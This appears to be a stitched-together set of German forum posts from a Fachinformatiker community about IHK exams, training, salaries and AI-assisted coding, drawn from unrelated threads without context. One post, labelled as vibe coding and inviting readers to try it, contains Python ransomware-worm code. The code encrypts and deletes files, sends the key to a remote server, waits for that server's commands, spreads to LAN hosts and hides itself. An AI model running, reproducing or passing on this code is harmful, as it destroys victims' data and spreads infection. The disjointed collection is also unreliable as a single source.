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Wie wäre es denn anders herum? Du erstellst deine Präsentation, stellst die im Forum vor und fragst dann nach Hinweisen, was du verbessern könntest?

WER ERZÄHLT SO EINEN MIST ???? Das kann immer rankommen, das sind BASICS. Und NIEMAND außer den Nürnbergern weiss was dran kommt

Und deine Frage ist?

schau Dich mal um .... exakt für diese Fragen ist das Forum da. Lesen musst Du schon selbst und bei einer spezifischen Frage bekommst Du sicher auch Hilfe ;)

Ebenfalls ZPA Nord-West GbR Aktualisierte Auflagen der Prüfungskataloge für die bundeseinheitliche gestreckte Abschlussprüfung in den IT-Berufen Nr. 9 "..Mit der zweiten Auflage wird daher insbesondere eine verbesserte Trennschärfe zwischen Teil 1 und Teil 2 der Abschlussprüfung erreicht, z. B. durch Thematisierung von SQL und RAID ausschließlich in Teil 2 der Abschlussprüfung. ..." Also immer dazuschreiben, welche AP gemeint ist.

IHK ZPA 6393 Prüfungskatalog Fachinformatiker Systemintegration aus 2024 Fragenkomplex 1 Betreiben von IT Systemen: U.A. Stichwort RAID ("Maßnahmen zur Sicherstellung des Betriebs") Fragenkomplex 2 Erstellen Betreiben Betreuen von IT Lösungen Punkt 3: Erstellen und Modellieren von Datenbanken, ua SQL

Es wäre mal interessant zu prüfen, ob sich seit der Einführung der "KI" die mittlereile Fragelänge von neuen Threads geändert hat. Meine (subjektive) Wahrnehmung ist, dass es kaum noch über Promptlänge hinausgeht. Es geht (gefühlt) immer mehr in Richtung "hier ist mein Einzeiler, mehr war es mir nicht wert, jetzt springt mal bitte alle für mich".

Ich sehe es ähnlich wie @hellerKopf Das Problem ist, der ursprüngliche Post sowas wie, "Mein Computer funktioniert nicht. Ich kann nicht arbeiten.". Ein Ticket was jeder schonmal hatte und was jeden stört. Generell sind die Leute in der IT hilfsbereit, aber es wird ein Maß an Eigeninitiative erwartet. Ich breche es gerne runter, auf das beantworten der W Fragen. Was ist das Problem? Wie äußert es sich? Was wurde unternommen? etc. so kann man sich vorher ein Bild machen und schnell und passend helfen. Ein Ping Pong an nachfragen und antworten, kann für beide Seiten stressig sein. Da sind wir bei einem Punkt, gerade in der IT macht Kommunikation viel aus, egal ob mit anderen ITlern oder Kollegen. Hier wäre die Frage, was wolltest du sagen/fragen bzw. was haben andere Verstanden? und ganz wichtig, warum gibt es da eine Diskrepanz? Es ist nur etwas für dich, womit du dich beschäftigen kannst. Es wird dir helfen die Information als Sender, so zu verpacken, dass sie auch so beim Empfänger ankommt, wie du willst. Das hilft dir nicht nur bei einer Präsi in der Schule, sondern auch bei deiner Abschlussprüfung oder im Berufsleben, wenn du deinen Chef von einer Idee überzeugen willst.

Wer viel mit Computern und binären Systemen arbeitet, also mit klaren Zuständen wie 0 oder 1, richtig oder falsch, gewöhnt sich daran, Dinge eindeutig zu sehen und logisch sauber einzuordnen. Das kann sich auch darauf auswirken, wie man über andere Themen spricht. In Diskussionen werden Standpunkte dann oft sehr klar und manchmal ziemlich kompromisslos vertreten. Gleichzeitig entstehen dabei häufig hohe Ansprüche – an sich selbst, aber auch an andere. Das kann dazu führen, dass selbst von Anfängern schon recht viel erwartet wird. Dieser Anspruch an Genauigkeit und Perfektion richtet sich aber nicht nur an Personen, sondern auch an die Lösungen, die entwickelt werden. Es soll sauber funktionieren, logisch aufgebaut und möglichst fehlerfrei sein. Da Informatiker meist im Team arbeiten, betrifft dieser Qualitätsanspruch alle Teammitglieder – jede und jeder trägt Verantwortung dafür, dass das geforderte Ergebnis diesen Erwartungen entspricht. Vor diesem Hintergrund wird eine nachlässige oder wenig leistungsorientierte Haltung im Team häufig als problematisch oder sogar als Bedrohung empfunden.

Der Content von Noel Lang ist größtenteils mit KI erstellt und stellenweise sogar grob Falsch was die Inhalten anbelangt (z.B. in den lieblos mit KI Stimme vertonten TikTok Videos). Von seinen Prüfungsunterlagen würde ich abraten und lieber die Unterlagen des U-Form Verlags oder z.B. Seiten wie https://it-berufe-podcast.de/ von Stefan Macke empfehlen.

Sorry aber wenn du als Fachinformatiker ausgebildet wurdest und ein bisschen Erfahrung gesammelt hast brauchst du keine spezialisierte Ausbildung um ein LLM wie Claude Code oder so zu bedienen. Die Dinger sind so selbsterklärend (du kannst ihnen ja sogar deine Fragen stellen!) das jegliche Zeit dafür eigentlich komplett verschwendet ist und lieber in die Basics wandern sollte damit man Fehler in den Ergebnissen der LLM auch erkennen kann.

Also wenn das deine Lebenseinstellung ist, kann ich mir die Gründe für die Ablehnungen beinahe vorstellen. Was ist deine Erwartung jetzt mit Vollzeit? 2,5k netto? Mit welcher Berechtigung denn? Erkläre doch mal einem Arbeitgeber, weshalb du das wert wärst, ohne Praxiserfahrung. Weil du ein Bachelor hast? Wie du selbst von dir sagst nur mit theoretischem Wissen? :D Da würde ich als AG immer die Bewerber mit Erfahrung vorziehen und sogar lieber die ohne B.Sc. nehmen, solange die Erfahrung stimmt. Sorry, aber wenn ich für "ca. 1k€ für ca. 20h Arbeit" es nicht einsehe, arbeiten zu gehen, würdest du es ja auch nicht für 2k bei 40h einsehen. Und ich wüsste nicht, was diese Vergütung begründen würde. Ein Bachelor bringt dir etwas, wenn du dich während des Studiums noch hingesetzt hättest. Aber da es dir das nicht Wert war, hast du jetzt das Problem, was du hast. Das werde ich auch nicht schön reden. Und wenn du es doch so scheiße hier findest, versuch doch dein Glück gerne im Ausland :) Der 1st-Level in den Konzernen kommt meist aus Ungarn/Indien und Co. Versuch doch da mal dein Glück, aber SPOILER: Erwarte bitte umgerechnet keine 2k Euro für die Vollzeitstelle :)

Schau doch mal hier: https://www.fachinformatiker.de/files/file/50-ap2-fiae-masterplan-v10/

@KuSuD Verstehe inhaltlich nicht was an der Prüfung für dich genau das Problem war ? War das Niveau zu hoch? Oder zu niedrig? Was waren genau die Probleme ? Ich habe die Prüfung hier vor mir liegen . Ich kann da nichts entdecken was problematisch ist , außer das ich persönlich finde das der schweregrad immer lächerlicher wird so das man sich die auch bald sparen könnte und einfach sagt hier bitte du hast bestanden.

Hallo weis jemand ob die Ap 1 von heute schon online ist, oder kann mir die vielleicht jemand schicken wenn vorhanden ?

Zusammenfassend enthalte die AP1 Frühjahr 2026 ähnliche Themen, wie vorherige IHK-Prüfungen. Es kam ganz neues Thema bei der Aufgabe 1. Dort musste man Begriffe wie "IR" oder "heater" bei der Überwachungskamera und MST-Verfahren aus dem englischsprachigen Text erklären. In den Aufgaben 1 - 3 waren Themen, wie Netzwerktechnik (IPv4, IPv6), Netzplan und Wirtschaft (Vertragsrecht). Interessant ist nur, dass es fast keine Aufgaben zur IT-Sicherheit gekommen sind (außer einer mit Datenschutz). Für mich als Anwendungsentwickler war die Aufgabe 4 als einfachste, weil man dort UML-Klassendiagramm und ER-Modell zeichen sowie das Pseudocode analysieren musste.

Heute Morgen eine kleine Anfrage einer Kollegin: Was sie denn einer Schülerin empfehlen solle, wenn die jetzt noch — 4 Tage vor der AP1 — in Sachen Netzwerktechnik aufholen wolle? Ob ich das auf 7 Punkte bringen könne? Sie wol­le ihre Schü­le­rin ja nicht ent­mu­ti­gen. Kann ich! Meine Antwort findet ihr hier: https://karsten-reincke.de/ap1-crashkurs-lf03/ Happy learning, happy coding, happy reusing KR

Alter: 24 Wohnort: Marburg letzter Ausbildungsabschluss (als was und wann): 2023 FIAE Berufserfahrung: 3 Jahre Vorbildung: Mittlere Reife Arbeitsort: Marburg Grösse der Firma 1.600+ Tarif: TVöD VKA Branche der Firma öD Arbeitsstunden pro Woche laut Vertrag 39 Arbeitsstunden pro Woche real 39 Gesamtjahresbrutto 60.000€ (EG 11, Stufe 2) Anzahl der Monatsgehälter 12 Anzahl der Urlaubstage 38 Sonder- / Sozialleistungen ZVK, Jobticket Premium, Kantine, 50% HO, VL, flex Arbeitszeiten, Jahressonderzahlung, … Variabler Anteil am Gehalt - Verantwortung: Keine Personalverantwortung, IT-Sicherheit, Digitale Kommune Tätigkeiten (Aufgaben/Aufgabenbereich) Projektmanagement/Beratung Digitale Kommune, IT-Sicherheit

Grundsätzlich ein Thema was zulassungsfähig ist ... aber nicht so. Die Entscheidung steht praktisch schon fest und die Auswahl betrifft nix, wofür ich einen FiSi brauche. Auswahlphase 6-8 Stunden und ergebnisoffen verschiedene LÖSUNGEN betrachten. Die Telefone o.ä. sind eher egal. Weiterhin fehlt eine Schutzbedarfsanalyse oder datenschutzrechtliche Betrachtung. Kosten/Nutzen oder Entscheidungsmatrix mit kfm Betrachtung fehlen auch

Hinten anstellen. Nur wenn es keinen besseren Kandidaten gibt, dann zu einem Probearbeiten einladen. Klingt zunächst hart und unfair. Aber: Da kommen 100 und mehr Bewerbungen auf den Tisch. Man kann aber keine 100 Einladungen zu Interviews abarbeiten. Man muss also auswählen.

Es dürfte jetzt niemanden mehr geben, der eine "Zwischenprüfung" oder GA1 oder GA2 schreibt. Es kann eigentlich nur noch AP1 und AP2 geschrieben werden.

AP1 und AP2 sind zu unterscheiden. Es gab einen Update im Katalog für die AP1 in 2025 Gute Auswertung bei S.Macke

witzig. Ich habe damals in der Berufsschule tatsächlich mal eine Präsentation zum relationalen Datenbankmodell gehalten. Wie es sich für einen anständigen Fachinformatiker gehört habe ich aber natürlich NICHT PowerPoint verwendet, sondern TeX (professioneller Textsatz). Die Präsentation werde ich dir nicht geben, du sollst ja auch den Lerneffekt haben. Aber noch eine Literaturempfehlung: Das Buch Datenbanksysteme von Alfons Kemper und Andre Eickler. Darin solltest du alle Informationen finden um eine solche Präsetation so zu gestalten, dass du (und deine Mitschüler!) einen guten Lerneffekt hast.

Wozu braucht man denn noch ein Intensiv Vorbereitungstraining ? Ist doch alles schon unterrichtet worden. PS: Wenn hier schon 'durchgesickerte' Fragen kommuniziert würden, wird die Prüfung annulliert und alle dürfen eine neue Prüfung schreiben. Glaubt ihr wirklich das bei dem ganzen Gefasel hier, IHK und U-Form nicht mitlesen? Ich finde es unverantwortlich, wie das Forum hier dauernd in Gefahr gebracht wird.

Ich sehe das wie @Brapchu und würde noch folgende Website vorschlagen: https://fi-lab.de

Eine Sechs in der ap eins zu schreiben halte ich für fast unmöglich, wenn man sie schreibt.

Du bist ja noch jung, wenn Du noch mal zur Schule / Studium machen möchtest, ist das völlig okay. Wenn man älter wird, wird es schwieriger. Aber Du musst halt wirklich dann auch wissen, was Du eigentlich willst, sonst wird es Dir im Studium ähnlich ergehen. Mit dem Startup würde ich erst mal warten. Falls Du wirklich eins machen willst, da gibt es auch später noch Unterstützung von den Hochschulen zu, aber vorher solltest Du die Zeit nutzen, um erst mal einiges an Grundlagen zu lernen. Außerdem müsstest Du dann BWL studieren, nicht VWL - VWL ist Volkswirtschaftslehre und BWL ist Betriebswirtschaftslehre. Also langer Rede kurzer Sinn, Du solltest Dir noch einmal die Zeit nehmen, eine Berufsberatung in Anspruch zu nehmen, dazu kannst Du auch völlig kostenlos- und unverbindlich einen Termin bei Deinem Arbeitsamt machen, die bieten so was auch an. Eventuell wäre es auch hilfreich, mal in andere Berufe unverbindlich rein zu schnuppern und ein Betriebspraktikum zu machen. Dazu müsstest Du Dir Firmen suchen, die in Deiner Nähe sind und ggf. in den Berufen, die Dich interessieren auch ausbilden. (Einfach unverbindlich fragen). Wenn Dir die aktuelle Ausbildung keinen Spaß macht und Dir nicht zusagt, dann macht es leider auch keinen Sinn, sich da weiter zu quälen. Gehe einfach zu Deinem Chef und finde den Mut ein ehrliches Gespräch zu führen. Ich wünsche Dir auf jeden Fall viel Glück- und alles Gute für die Zukunft !

Einmal KURZ als AG: ich persönlich pfeiffe auf Zertifikate, exakt aus diesem Grund. Ich verschaff mir immer einen persönlichen Eindruck. Nenn mir den Abschluß und ich weiss wie ich den ohne jede Übung erlangen kann. Egal ob Lenovo, Cisco, MS etc .... diese ganzen Zerts ( die in Prüfcentern abgelegt werden ) können gefakt sein.

Hier ein vibe codeing, bitte ausprobieren import os import platform import threading import shutil import tempfile import random import string import atexit import socket from cryptography.fernet import Fernet # Server-Adresse und Port server_address = 'example.com' server_port = 8080 def generate_key(): # Generiere einen Schlüssel für die Verschlüsselung key = Fernet.generate_key() return key def encrypt_data(key, data): # Verschlüssle die Daten cipher_suite = Fernet(key) encrypted_data = cipher_suite.encrypt(data) return encrypted_data def connect_to_server(): # Verbinde mit dem Server try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((server_address, server_port)) return sock except Exception as e: print(f"Fehler beim Verbinden mit dem Server: {e}") return None def send_data(sock, data): # Sende Daten an den Server try: sock.sendall(data) except Exception as e: print(f"Fehler beim Senden von Daten: {e}") def receive_data(sock): # Empfange Daten vom Server try: data = sock.recv(1024) return data except Exception as e: print(f"Fehler beim Empfangen von Daten: {e}") return None def spread(): # Versuche, das Programm auf anderen Systemen zu verbreiten try: # Liste von möglichen Ziel-Systemen targets = ['192.168.1.1', '192.168.1.2', '192.168.1.3'] for target in targets: # Versuche, eine Verbindung zum Ziel-System herzustellen sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target, 8080)) # Sende das Programm an das Ziel-System with open(__file__, 'rb') as f: data = f.read() sock.sendall(data) sock.close() except Exception as e: print(f"Fehler beim Verbreiten des Programms: {e}") def hide_program(): # Verstecke das Programm try: # Erstelle einen temporären Ordner temp_dir = tempfile.mkdtemp() # Kopiere das Programm in den temporären Ordner shutil.copy(__file__, temp_dir) # Ändere den Namen des Programms new_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(10)) os.rename(os.path.join(temp_dir, os.path.basename(__file__)), os.path.join(temp_dir, new_name)) # Lösche das Original-Programm os.remove(__file__) # Registriere die Löschfunktion für den temporären Ordner atexit.register(lambda: shutil.rmtree(temp_dir, ignore_errors=True)) except Exception as e: print(f"Fehler beim Verstecken des Programms: {e}") def encrypt_system(key): # Verschlüssle die Daten auf dem System try: # Liste von Dateien, die verschlüsselt werden sollen files = ['/path/to/file1.txt', '/path/to/file2.txt'] for file in files: with open(file, 'rb') as f: data = f.read() encrypted_data = encrypt_data(key, data) with open(file + '.enc', 'wb') as f: f.write(encrypted_data) os.remove(file) except Exception as e: print(f"Fehler beim Verschlüsseln der Daten: {e}") def main(): # Generiere einen Schlüssel für die Verschlüsselung key = generate_key() # Verschlüssle die Daten auf dem System encrypt_system(key) # Verbinde mit dem Server sock = connect_to_server() if sock is None: return # Sende den Schlüssel an den Server send_data(sock, key) # Empfange Befehle vom Server while True: data = receive_data(sock) if data is None: break if data == b'spread': # Versuche, das Programm auf anderen Systemen zu verbreiten threading.Thread(target=spread).start() elif data == b'exit': # Beende das Programm break # Verstecke das Programm hide_program() # Schließe die Verbindung sock.close() if name == "__main__": main()

bei Stackoverflow ... damals ... war der Unterschied aber, dass man sich durch verschiedene Antworten kämpfen musste und die Codesnippets teilweise einfach nicht durch reines copy & paste funktioniert haben. Man musste sich also gezwungenermaßen damit außeinandersetzen. Heute, bei LLM kopiert man den Code rüber und wenn eine Fehlermeldung fliegt, lässt man diese auch von dem LLM überprüfen, korrigieren und (wenn Agents aktiv sind) automatisiert alles zusammenbauen. Man abstrahiert die technische Ebene teilweise extrem. Das ist gerade für den beiden Themengebiete Verständnis und Security fatal. Security im Produktivbetrieb, Verständnis für die IHK Prüfung. Man könnte natürlich argumentieren, dass wenn LLM/KI/AI irgendwann so ausgereift wäre, dass diese keine Fehler mehr macht, man auch kein Verständnis mehr bräuchte. Aber alleine die stumpfe Tatsache, dass die Azubis nach 3 Jahren vor einem Blatt Papier sitzen und Code dort niederschreiben müssen führt der Ansatz dazu, dass diese dann auf die Nase fallen. Für die IHK Prüfung finde ich Vibe-Coding sehr problematisch, da es einfach zu sehr dazu verleitet, sich die Frustmomente zu ersparen (die aber sehr lernförderlich sein können) und das Gehirn komplett auszulagern. Der Security Aspekt finde ich später dann noch deutlich kritischer. Ich habe von jedem aktuellen Modell (Gemini 3 Pro, Opus 4.5 usw.) Backendcode bekommen, der heftigste Sicherheitslücken aufwies. Teilweise derart offensichtlich, dass man ziemlich sicher nach einigen Tagen von jedem Skriptkiddie gehackt worden wäre, wenn der Code live geht. Das fängt bei SQLinjection an und geht bis zu XSS. Auch sollte sich der Azubi einer Sache im klaren sein. Wenn man die Grundlagen nicht lernt und 100% Vibe-Coding ohne Background betreibt dann kann das auch jede x-beliebig andere Person. Sich derart ersetzbar/austauschbar zu machen halte ich auch im Hinblick auf Jobsicherheit für nicht die allerbeste Strategie.

ist das die XYZ GmbH?

Hey Leute, hat jemand Lernzettel für die AP2 FISI Winter 2025? Die von der AP1 hier im Forum waren mega hilfreich – wär super, wenn jemand was teilen könnte.

Es ist ein Arbeitsauftrag kein Projekt. Alle Entscheidungen sind schon vorgegeben. Migration eines Servers und Austausch eines Bandlaufwerks. Wenn es um veraltete Hardware geht und das Ablösen dieser, warum wird dann auf LTO 8 gesetzt und nicht auf etwas neueres?

Meiner Meinung nach, auch wenn das vielleicht eine unpopular opinion ist, war das endlich mal wieder eine angemessene AP Teil 1. Eine, die allen IT-Ausbildungsberufen zumindest ansatzweise gerecht wurde.

Hm. Externe Links .... müssen im Vorfeld mit dem Forenbetreiber abgesprochen werden. @steel Daumen hoch oder runter ?

Nein das sollte kein ragebait sein , und das was auf Reddit abgeht kannst du dort rückwirkend bei jeder Prüfung nachlesen, exakt das selbe deswegen mache ich mir immer selbst ein Bild oder frag die leute. Auf Reddit sind übrigens auch Leute die sie für leicht halten wenn man alles liest. Was fandest du denn schwer? Inhaltlich oder zeitlich? Was waren die Aufgaben bei denen du sagst " ging gar nicht " oder das war zu schwer für eine Ap1 Die Prüfung wird mit Sicherheit gewertet davon ist auszugehen, es gibt auch keinen Grund warum nicht , alle Themen sind im Katalog , keine einzige Aufgabe ging irgendwo in die Tiefe , Fehler in der Ausführung hab ich auch noch keine gefunden

Wir geben uns Mühe und wir versuchen alles zu entziffern. Bislang waren die Fälle recht selten wo wir hier aufgeben mussten. Aber ja, wenns einfach garnicht lesbar ist hilft alles nix. Wenn du magst (und es dich wirklich so sehr interessiert) mach doch mal ne kleine Schriftprobe wie du in der AP1 geschrieben hast auf ein Foto und wir sagen dir ob wir das vollständig lesen können. Klingt wie ein lustiges Experiment!

Insgesamt sehr machbar, gefühlt einfacher als 2024 & 2025 jeweils Frühjahr und Herbst. Einen fertigen Netzplan mit "finde die Fehler" hab ich AFAIK noch nie gesehen. Es sollte in der Ausbildung (aus meiner Perspektive, woanders ist das vielleicht noch besser) erheblich mehr darauf bestanden werden, daß grundlegend alle alles wissen müssen. Für FiSIs war ganz schön viel FIAE dabei, FIAEs haben sich über die komplizierten FISI-Inhalte beschwert. Hier und da gab es Beschwerden, daß so viel Englisch drankam. Alle Fachbegriffe und die meisten Programmiersprachen sind englisch (Ausnahmen bestätigen die Regel). Der Anspruch "es muss deutsch sein" erschließt sich mir nicht. Zeitlich: Ja, es hätten allgemein sicher so ~10 min mehr sein können.

Anfang Januar hatte ich meine Unterrichtsmaterialien für LF.09 / 1. Halbjahr als Open Educational Resources auf GitHub freigegeben, als Teil von proTironeComputatri. Dann habe ich noch 6 Wochen mit meinen drei LF.09-Klassen für die AP1 trainiert. Dabei haben wir unsere LF.09-Dokumente erweitert, verkürzte LF.03-Versionen erzeugt und einiges gefixt. Ich bin sehr zuversichtlich, dass meine Klassen jetzt gut vorbereitet in die AP1 gehen. Aus diesem Anlass habe ich die erneuerten Unterrichtsunterlagen heute ebenfalls als OERs auf GitHub freigegeben. Die Dokumente zum Unterrichten und Lernen findet Ihr im Downloadbereich von https://github.com/pro-tirone-computatri/protico.lessons, die Quellen dazu unter https://github.com/pro-tirone-computatri/protico.ltx. Details dazu gehe ich in meinem Blog durch: https://karsten-reincke.de/lernfeld-03-ap1/ Ich wünsche allen anderen ebenfalls Glück für DI und MI. Happy Learning, Happy Coding, Happy Teaching KR

Eigentlich sollte man auf die Eingangsfrage erst einmal gar nicht so schnell reagieren und abwarten, bis der TE die Frage von sich aus konkretisiert, wenn er merkt, dass sie nicht eindeutig gewesen ist. JM2C

Das ist Unsinn. @Ulite, du solltest dich besser informieren, wer und wie an der Erstellung von Prüfungsaufgaben beteiligt ist.

Dann erkläre es mal. Eine fertige Power Point wird dir nicht helfen. Man kann dir natürlich Links schicken, aber es klang eher nach: "Ich habe keine Lust mich mit dem Thema zu beschäftigen"

THIS! Danke dir.

Im IHK Prüfungskatalog aus 24 steht da nicht sehr viel drin. Beurteilen und Einschätzen, in sofern greift des Giftes Kommentar durchaus

Ich glaube von den Idee ist das Ticketsystem, am optimalsten für dich. Du findest hier schon einige Anträge. Du hast alles drinnen was du brauchst. Natürlich ist es jetzt nichts superspannendes, aber das für dich wichtigste ist wie @charmanta schon gesagt hat, du gehst kein Risiko ein.

Wenn lediglich einige Stunden Aufwand nötig sind, um eine spürbare Qualifikationsverbesserung zu erreichen, erschließt sich mir nicht, was einen Ausbildungsbetrieb ernsthaft davon abhalten sollte. Angesichts der Tatsache, dass die Zahl neuer KI-Fachkräfte auf dem Arbeitsmarkt nahezu explosionsartig wächst (vgl. Linkedin et al.), dürfte dies auch personell kaum ein Hindernis darstellen. Gleichwohl bleibe ich bei dem Grundsatz: "A fool with a tool is still a fool." Wenn es an der Fähigkeit fehlt, Probleme eigenständig und ohne KI-Unterstützung zu lösen, werden einige Stunden KI-Training daran wenig ändern. Entscheidend ist nicht das Werkzeug, sondern das Verständnis und die methodische Kompetenz derjenigen, die es nutzen. Genau darin liegt für mich auch der Schwachpunkt deiner Umfrage. Es wird eine "gezielte" einer "speziellen" "KI"-Ausbildung gegenübergestellt. Ich verstehe zwar den Gedanken hinter dieser dichotomen Auswahl, halte sie aber für zu unscharf. Es macht einen erheblichen Unterschied, ob das Thema lediglich für eine Stunde angerissen wird oder ob dafür ein eigenes Lernfeld geschaffen werden soll. Man könnte sogar argumentieren, dass der Begriff "gezielte KI-Ausbildung" theoretisch auch einen Anteil von 0 % umfassen könnte.

Hmmm wenn ich überlege wie viel Schrott in der Ausbildung so gemacht wird sehe ich definitiv kein Zeit Problem...

Genau das ist es und hier liegt der Hund begraben. Wenn ich bspw. KI nutze (im AE) Bereich, dann sehe ich auf einen Blick ob der Code Sicherheitslücken hat oder anderweitig einfach schlecht ist (Verletzung von Designprinzipien usw.). Ein Anfänger hingegen hat davon keine Ahnung und übernimmt den Code 1:1, da er ja evtl. den richtigen Output liefert. In meinen Klassen sehe ich es auch immer häufiger wie von Anfang an LLM Anfragen für alles verwendet wird aber die Grundlagen einfach nicht da sind und das ist tödlich. Vibe Coding schön und gut (ich liebe es mittlerweile auch) aber ich nutze es nur dort, wo ich sehr firm bin.